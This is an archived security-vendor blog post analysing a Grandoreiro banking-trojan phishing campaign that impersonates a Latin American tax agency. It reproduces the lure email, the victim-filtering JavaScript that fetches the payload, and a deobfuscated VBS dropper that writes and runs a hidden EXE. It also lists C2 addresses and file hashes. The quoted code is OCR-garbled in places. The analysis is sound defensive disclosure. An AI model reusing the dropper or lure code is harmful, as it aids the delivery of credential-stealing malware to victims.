https://www.forcepoint.com /blog/x-labs/grandoreiro-trojan-targets-mexico-argentina-spain

Grandoreiro Trojan Distributed via Contabo-Hosted Servers in
Phishing Campaigns
Published: 2025-03-27 - Archived: 2026-04-05 15:02:30 UTC

Cybercriminals are reviving the Grandoreiro banking trojan. It is actively being used in large-scale phishing
campaigns, primarily targeting banking users in Latin America and Europe. Cybercriminals are leveraging VPS
hosting providers and obfuscation techniques to evade detection. The malware continuously adapts, using

dynamic URLs and social engineering to maximize its reach and effectiveness.

This post presents the findings of Forcepoint X-Labs' detailed research into a recent Grandoreiro campaign which
targets users in Mexico, Argentina and Spain through phishing emails impersonating the tax agency to trick users.
Attackers send fraudulent government emails embedded with malicious links to well-known legitimate hosting
services provider Contabo. It leads victims to download an obfuscated Visual Basic script and a disguised EXE
payload designed to steal credentials. Occasionally, malicious actors employ encrypted or password-secured
compressed files to conceal and deliver harmful software, making it more challenging for security systems to

identify and block the threat.
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Fig. 1 - Grandoreiro attack chain

Email Analysis:

Email is sent with High Importance Tax penalty warnings in Spanish language and spoofed sender impersonating
a tax agency to trick users. It also leverages the well-known Ovhcloud sender infrastructure and GNU Mailutils
3.7.
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H AFIP Control Doc 819 <afipdigital@afip.gob.ar>
RE: Nueva Penalizacion en su Documento Fiscal 032126
| —

O Tris message was sent with High imponance.

AFO

Por faver, NO respomds o evie correo sbecirinico.

A =)

Le informamos que se ha generado un nuevo documento fiscal, resultando en
una multa de $261.605.55.

Fecha de emisidn: 12/03/2025

Plazo de respuesta: 14/03/2025

G6USOYHOSCTLE 10OEJZIISWSFRES4Z0)

Para revisar el documento completo, haga clic agui para ver los detalles del
EEBSD.

i esta informacién no ¢ relevante para usted, puede ignorar este mensaje.

Alentamente,
Administracién Federal de Ingresos Publicos

Fig. 2 - Phishing tax document

The email contains malicious links which redirects users to VPS or dedicated server hosted on Contabo's
infrastructure like vmi\d{7}[.]contaboserver[.]net geofenced URL. Once a user clicks on “Download PDF” button

then it will download zip payload from another cloud storage and file-sharing service mediafire.com.

& =+ ©C % hitpsy//vmi2500240.contaboserver.net/bxfhaYXRUOPDOO Ml VTIOHDOR himI?YKHaMYuRMOmOCDOI=b8729d324 11042453103 fb2b7 ec30:209 h: ¢

S B specialyphamacyc B Gmail 8 YouTube B Maps

Documento archivo PDF

Contraseria para descomprimir la documentacion:
2025

Descargar PDF

Fig. 3 - Embedded link opens to contaboserver.net

This subdomain of the URL changes in every campaign like vmi\d{7}[.]Jcontaboserver[.]Jnet. Subdomains of

contaboserver[.]net, such as vmi2500240[.]contaboserver|.]net, are usually linked to specific virtual machines or
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servers hosted on Contabo's network. We have observed some supporting elements to this main malicious

webpage are hosted on this subdomain.

& & 25 vmi2500240.contaboserver.net/bxthzYXRUOPDOO/

1 E¥ specialtypharmacyc... G Gmail B YouTube RB¥ Maps

Index of /bxthzYXRUOPDOO

Name Last modified Size Description
a Parent Directory =

[?] ERyJZPKrylPO4Lphp  2025-03-12 07:24 8.2K
ThaaCHgfIAFVIOIW.png 2025-03-12 06:15 45K
[?] OKwkfUakPOSN.php ~ 2025-03-12 07:24 1.7K
UpYjeWGauhZC01Z css 2025-03-12 05:02 2.9K
[?] WThdqefWLOPO6e.php 2025-03-12 07:24 702
XAvILVTIOHDOR himl 2025-03-12 07:24 759
[?] YhPWIkiSETRPO2X php 2025-03-12 07:24 951
[?] fPoDIUIpIsUdySO0lnjs 2025-03-12 07:24 4.4K
[?] mRst/BXoP03Yphp ~ 2025-03-12 07:24 677

Apache/2.4.41 (Ubuntu) Server at vini2500240.contaboserver.net Port 443

Fig. 4 - Supporting elements hosted on a Contaboserver.net domain

Clicking on the “Download PDF” button adds a JavaScript command which calls a declared async () function
which checks for browser and platform using navigator.userAgent. From there, it retrieves a Mediafire.net URL

from a PHP file, which then redirects to download the next stage payload:
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e = 3 @ view-source:https://vmi2500240.contaboserver.net/bxfhzYXRUOPDOO/XAvILVTIOHDOR html

2g EX specialtypharmacyc.. & Gmail B YouTube [B® Maps

[.
=
[

wrap [J
<html lang="es-MxX">»
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.8"»
<titlerDownload PDF</title>
<link rel="stylesheet" href="UpYjeWGauhZC&17.css"> <!-- Link para o (55 externo -->»
</head>
<body>
10 ¢div class="container">
" <img src="IhaaCHeflAFvI@IW.png" alt="Logo" class="logo"> <!-- Logo PDF -->
12 <h1l»Documento archivo PDF</hl>
13 <p class="password-info">Contrasefia para descomprimir la documentacién: <strong»2025</strong></p>
14 <button id="gKWoZukSwPOF@7K">Descargar PDF</button> <!-- BotAfo de download -->
15 <fdive

B W s o W B W R =

17 ¢script src="fPoDJUlplsUdv581n,js"*»</script> <!-- Link para o JavaScript --»
12 | </body>
19 | </html>

Fig. 5 - Explicitly added JavaScript in HTML
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« =2 C 25 vmi2500240.contaboserver.net/bxfhzYXRUOPDOO/fPoDJUlpJsUdyS01n.js

as E¥ specialtypharmacyc... G Gmail @ YouTube B¥ Maps

const userfigent = navigator.userfgent;

const isBot = cOUIDzDOijFl5o(userAgent);
const isMobile = /Mobi/i.test(userfAgent);
const islinux = /Linux/i.test(userAgent);
const isWindows = fWindows/i.test(userAgent);

if (isBot) {
await UIiXBQknF1l4g(SGBPxDIchCXvKFlek, 'bot');
window. location.href = "../qQkkRXywHO1lY.html";
} else if (isMcbile || islLinux) {
await UIiXBQknFl4g(SGBPxDIchCXvKF10k, 'mobile');
window.location.href = "../sLhHxjSskOH&2V_html";
} else if (isWindows) {
[/ Get the next link globally
const { link, index } = await NobyTBJIbUsdDF11f();

if (link) {
fxrKLowuxLrYPF16L(1link); // Download the next link
// Update the count of released downloads ONLY once here
await UIiXBQknF14g(SGBPxDIchCXvKF1@k, 'released');

} else {

alert('Unavailable');

3

} else {
await UTiXBQknF14g(SGBPxDIchCXvKF10k, 'unknown');
window.location.href = "../qQkkRXywHO1Y.html";

¥

// Reactivate the button after processing
gKWoZukSwPOFB7K .disabled = false;

s

[/ Function to fetch the next link globally
async function NobyTBJIbUsdDF11f() {
try {
const response = await fetch('OKwkfUakP@SN.php');
const data = await response.json();
return data; // Returns the link and the current index
} catch (error) {
return { link: null, index: @ };

¥

Fig. 6 - Code of hosted JavaScript file

Once a response is received from the PHP in JSON format the .zip file gets downloaded on the system. JavaScript

also checks the number of downloads.

& 25 vmi2 500240 contaboserver net/buthz YXRLOPDOOYOKwikfUakPOSN.php
[ B specialtypharmacyc_. 3 Gmail i YouTube BF Maps
Pretty-print (]

{"index™:6,"1ink"™: "https "\ e mediafire . com /File) fulBhlgrnocufydy\ /1403 6OTT4472261 0065469432025, zip\/file™}
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Fig. 7 - Hosted PHP with mediafire.com URL

VBS Analysis:

The downloaded zip is sometimes password protected, and it contains large obfuscated VBS file. It contains lot of

[{3%2]

unwanted characters “:” used for obfuscation and it contains embedded Zip file in base64 encoded format and in

chunks.

mdanvtBPzeJrzVhDFrgfs="2

mdanvtBPzcJrzVhDFrgfi="0hi
mdanvtBPzcJrzVhDFrgfe="Txu

mdanvtBPzeJrzVhDFrgfl="rLiti+xz

mdanvtBPzcJrzVhDFrgfo="F N0
TR - P | PG O -H_C_B-G-J_m|'1'M-,f?x2pmwh'rm;mfszfbas?xx}nuttnanzc+xc3qo43;muqkqx+3qu+

mdanvtBPzoJrzVhDFrgfd="s

mdanvtBPzcJrzVhDFrgf2="L
mdanvtBPzoJrzVhDFrgf?="y

dim trvUsdaUapbp,KxmhdU,qznBGh, dzNbpxNDIESTANIUHTahXG, yIFINLCNb] EDNPUYKgdFF ,qf0LIhG, 2ytOvdN) BDasMaspIJEMbYZK, gzHgsaulGzDZrMivsy , mdanvtBPzc|

Fig. 8 - VBS obfuscated code

dim trvUsdaUapbp,KxmhdU, gznBGb,dzNbpxNDjESJdNiuHrahXG, yJFINtCNbl fDNPUykgdFF ,qf01JhG, ZytOvdNjBDasMespI JEMEVIK,
gzHgsauHGzDZrMNvSu, mdanvtBPzcJrzVhDFrqf( , mdanvtBPzcdrzVhDFrgfl , mdanvtBPzcJrzVhDFrgf2 , mdanvtBPzeJrzVhDFrqf3 ,
mdanvtBPzcJrzVhDFrqfd , mdanvtBPzcJrzVhDFrgf5 , mdanvtBPzcJrzVhDFrgfé , mdanvtBPzcJrzVhDFrgf?,piPYgiBdJmixHeNbu,
VBsLFNnbIjY,nsrpcmxLeghrzXkPHE , HofceNMsuJ1DEDO, NQueUxPR, dkrjpDohgbhzhRfVauPV, 1gDIjifpMJrcUdIBV, KQsNY, fvGzPeyaPoRXRdAS] &
yJFIHtCNblfDNP‘Uykqu‘F-“\"*qfOthG-" ex"+"e" :piPYgiBdImixHeNbumZsBqP (28) :NQueUxPRm" . = "+"i"+"p" :dkrjpDohgbhzhRfVaupVe
"5621RALFE57 18488, "4 "m"+" k"4 g "+" £"+"2"4"5"+"d" : 1gDIjifpMIrcUdIBY = "JR X.t"+"x"+"t": function
KgEsSULENMUzFPyimk (3) : ZytOvdNjBDasMespIJEMbVEK="" :For gzHgsauHGzDZrMNvSu=l To Len(sl.lfl‘.bhd{s gzHgsauHGzDZrMNvSu, 1) <>"")
then: ZytOvdNjBDasMe spIJEMbVEK=Zyt OvdiijBDasMespI JEMbVZKaMid (s, gzHgsauiGzDZrMNvSu, 1) tend if:Next:KgEsULENMUzFPyimke
ZytOovdNjiBDasMespIlJEMbVIK:end function:Function ZsBgP({Count) :Randomize:For gzHgsaulHGzDZrMNvSu = 1 To Count:If (Int((1 -
0 +1) * Rnd + 0)) Then:ZsBgP = ZsBqP & Chr(Int((90 - 65 + 1) * Bnd + 65)):Else:ZsBqP = ZsBgP & Chr(Int((97 - 122 + 1)
* BRnd + 122)):End If:Next:End Function:Sub u'fNthxhoFZVq, zaid¥ngDSyueIKhQ) :Dim VBsLENnbIjY:Set VBsLFNnbIjY =
CreateObject (KgEsULENMUzZFPyimk { ject”)) :XhoFZVg = VEsLFNnbIjY.GetAbsolutePathName (XhoFZVg) :
zalJXngDSyueIKhQ = VBsLFNnbIjY.GetAbsolutePathName zalJanDSyueIKhQ) If (Not VBsLFNnbIjY.FileExists (XhoFZVg)) Thcn
WScript.Echo "" & XhoFZVg:Exit Sub:End If:If Not VBsLFNnbIjY.FolderExists({zaiJXngDSyueIKhQ) Then:WScript.Echo ""
2a1JanD5onKh0 Exit Sub:End If:dim nsrpcmxLeghrzXkPHf:set nsrpcmxleghrzXkPHf = CreateObject (KgEsULENMUzFPyimk (
"Shel I “ion")) : Dim HofceNMsuJ1DEDO:Set HofceMMsuJIDEDO = nsrpcmxLeghrzXkPHf.NameSpace (XhoFZVg) :Dim trvUsdaUapbp
1Set trstdaUapbp = nsrpcmxLeghrzXkPHE . NameSpace (zailXngDSyueIKhQ) : trvUsdaUapbp.CopyHere HofceNMsuJlDEDO.items, 4:Do
Until HofceNMsuJLDEDO.Items.Count <= trvlsdaUapbp.Items.Count:Wscript.Sleep(200) :Loop:End Sub : Set
dzNbpxNDjESJdNiuHrahXG= CreateObject (KgEsULENMUzFPyimk {"WScript.Shell™)) :dzNbpxNDJESJdNiuHrahXG=
dzNbpxNDjESJdNiulirahXG.ExpandEnvironmentStrings (KgEsULENMUZFPyimk ("¢ PUBLICS ")) : KQsNY = dzNbpxNDJESJdNiuHrahXG &
yJE‘INtCNbltDNPUykqu‘F & lngI:II]J.fpz!‘!..]n:[l’dIB.\.|I Set fMkpYUqgfsqTq = CreateObject (KgEsULENMUzFPyimk({
"Scrip g.File mObjoct™)) :I1f fMkpYUggfsgTq.FileExists (KQsNY) Then:Set IuuTeeMdf = CreateObject (KgEsULENMUzFPyimk (
] mObject™) ) .OpenTextFile (KQsNY,1) : zKzPeuXXAvYSqpvi = TuuTeeMdf.ReadLine () : IuuTeeMdf. Close Set
qu‘]'ee}!df = Nothl.ng If fMkpYUqqfsgTq.FileExists(zKzPeuXXAvYSqpvf) Then:CreateObject (KgEsULENMUzFPyimk("WScr
}).Run zKzPeuXXAvYSqpvf:Wscript.Quit:Else:Set trvl]sdaUapbp-CraateOb]ect[KgEsULEHHUzE“PyJ.mk("!’-:_-:-:--' oft. XM
ExmhdUmtrvUsdaUapbp.createElement ("t") : KxmhdU.DataType=sKgEsULENMUzFPyimk ("bin.baze64") :Kxmhdl. Text=

mdanvtBPzcJrzVhDFrqf0 & mdanvtBchJerhDFrgfl & mdanvtBchJerhDFrgfz & mdanvtEchJtzthFrng & mdanvtBchJerhDFrgf& &

M") ) :Set

Fig. 9 - VBS deobfuscated code

This VBS concatenates large variables and tries to decode a base64 stream designed to drop a .zip file with
random name in “C:\users\Public”. Next, it tries to extract a .zip in the system directory and drops an EXE file It

keeps track of exe file path in a “.txt” file, then executes the “.exe” payload using Wscript.shell.

EXE Analysis:

Extracted 32-bit exe file is compiled with Delphi and its version info claims to be binary from “ByteCore
Technologies 706092 Inc.”
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Property Value r
CompanyName ByteCore Technologies 706092 Inc. -
FileDescription Adobe informations for only devices 706092, 54655.11064.106%4....
FileVersion 54655.11064.10694.27745

InternalName SafeFlow174706092.exe

LegalCopyright Copyright (C) ByteCore Technologies 706092 Inc. 2010. All right...
OnginalFilename SafeFlow174706092.exe

ProgramlD Adobe informations for only devices 706092, 54655.11064.10694....
ProductName FileGuard Pro, 54655.11064.106594.27745, W421.

Fig. 10 - EXE version info

It contains a PDF icon and throws Acrobat Reader error pop-up during execution. If a user clicks on the OK

button, it performs a C2 connection with an AWS IP address to then start the stealing activity.

B Adobe Acrobat Pro DC 2025

Adobe Acrobat Reader DC

Estas visualizando un documento en Adobe Acrobat Reader DC.
Para continuar con su lectura ¥ acceder a todas las funciones
disponibles, haz clic en el botdn a continuacidn.

@ Abrir documento

Fig. 11 - Error prompt

This file is compiled with an Embarcadero Delphi compiler. It uses its own Embarcadero URI Client to connect
with a remote server to act as user agent. It then connects to a C&C server 18[.]212[.]216[.]95:42195 and
hxxp://18[.]212[.]216[.]95:42195/AudioCoreBCPbSecureNexusLink.xml through unusual port numbers. It checks

for “C:\Program Files (x86)\Bitcoin” for possible personal data to steal.

It also checks for system GUID from the registry, computer name and language from registry entry

“HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\NIs\Sorting\Versions.”
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Conclusion:

Cybercriminals are spreading the Grandoreiro banking trojan in Mexico, Argentina and Spain through phishing
emails impersonating a tax agency. The campaign leverages Contabo-hosted servers and Mediafire servers to
deliver malware. The attack involves malicious ZIP files containing obfuscated VBS scripts that drop a Delphi-
based EXE. Once executed, the malware steals credentials, searches for Bitcoin wallet directories connects to a C2
server, Attackers frequently change subdomains under contaboserver[.]net to evade detection. Users should stay

cautious, avoid unknown emails and use cybersecurity tools to protect against these threats.

Protection statement:

Forcepoint customers are protected against this threat at the following stages of attack:

e Stage 2 (Lure) — Delivered via suspicious URL embedded in an email. Emails and embedded URLs are
blocked by email analytics and web analytics.

o Stage 3 (Redirect) — Blocked re-directional medifire.net URLs which downloads stage payload.

o Stage 5 (Dropper File) - The dropper files are added to Forcepoint malicious database and are blocked.

o Stage 6 (Call Home) - Blocked C&C IP addresses

NGFW protection statement:

e The dropper files are blocked by the GTT file reputation service if it is enabled.

I0Cs:

Embedded Download URLs:
hxxps://vmi2500223[.]contaboserver[.]net
hxxps://vmi2511216[.]contaboserver(.]net
hxxps://vmi2511206[.]contaboserver|.]net
hxxps://vmi2526272[.]contaboserver[.]net
hxxps://vmi2529183[.]contaboserver[.]net/
hxxps://vmi2492020[.]contaboserver[.]net/
hxxps://vmi2527550[.]contaboserver[.]net/

Re-directional URLs:
hxxps://wwwl[.]mediafire[.]Jcom/file/ngb9r5swxbuz7xp/Ficha91159905Y GSU02704481_2025.zip/file
hxxps://wwwl[.Jmediafire[.]Jcom/file/qfyr6978p7s5nf2/DB#78613179435_SGJ9345624.zip/file

C2s:
98[.181[.192[.1194:30154
18[.1212[.]1216[.]195:42195

File hashes:
7ED66D3FE441216D7DD85DDA1A780C4404D8DSAF — EXE
284782A579307F7B6D6C7C504ECCCO5EF7573FD2 - EXE
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9D767A9830894B210C980F3ECF8494A1B1D3C813 - ZIP
7A32D66832C6C673E9COASEOEE80C4310546093B - ZIP
0372A8BB0B04927E866C50BEF993CDASE2B8521D — VBS
A9919444948790ABE18F111EEEF91BEA2C1D4DDO - VBS

Source: https://www.forcepoint.com/blog/x-labs/grandoreiro-trojan-targets-mexico-argentina-spain
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